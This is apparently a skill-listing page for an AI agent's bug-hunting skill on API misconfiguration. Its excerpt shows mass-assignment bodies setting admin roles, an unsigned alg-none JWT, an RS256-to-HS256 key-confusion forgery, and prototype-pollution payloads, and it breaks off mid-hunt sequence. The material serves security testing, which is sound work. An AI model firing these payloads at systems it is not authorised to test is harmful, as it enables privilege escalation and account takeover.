Skills for Real Engineers. Straight from my .agents directory.
hunt-api-misconfig
Agent skill fromelementalsouls/Claude-BugHunter
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
How to install hunt-api-misconfig
npx skills add elementalsouls/Claude-BugHunter# or add only this skill to Claude Code: copy the folder
skills/hunt-api-misconfig/
# into
~/.claude/skills/hunt-api-misconfig/ (all projects)
.claude/skills/hunt-api-misconfig/ (one project)
1## 12. API SECURITY MISCONFIGURATION23### Mass Assignment4```javascript5User.update(req.body) // body has {"role": "admin"} → privilege escalation6```78### JWT None Algorithm9```python10header = {"alg": "none", "typ": "JWT"}11payload = {"sub": 1, "role": "admin"}12token = base64(header) + "." + base64(payload) + "." # no signature13```1415### JWT RS256 → HS256 Algorithm Confusion16```python17# Get server's public key from /.well-known/jwks.json18# Sign token with public key as HMAC secret19token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")20# Server uses RS256 key as HS256 secret → accepts it21```2223### Prototype Pollution24```javascript25// Server-side — Node.js merge without protection26{"__proto__": {"admin": true}}27{"constructor": {"prototype": {"admin": true}}}28// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin29```3031For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor32JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,33or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype34state reaches a later operation.3536Hunt sequence:37381. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.39 Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.402. **Pollute harmless marker properties.** Send variants such as:4142```43…
Excerpt shown under the repository's MIT license.
More skills in Claude-BugHunter
Similar skill repositories
Public repository for Agent Skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
Production-grade engineering skills for AI coding agents.
The open-source app everyone uses to manage agents at work
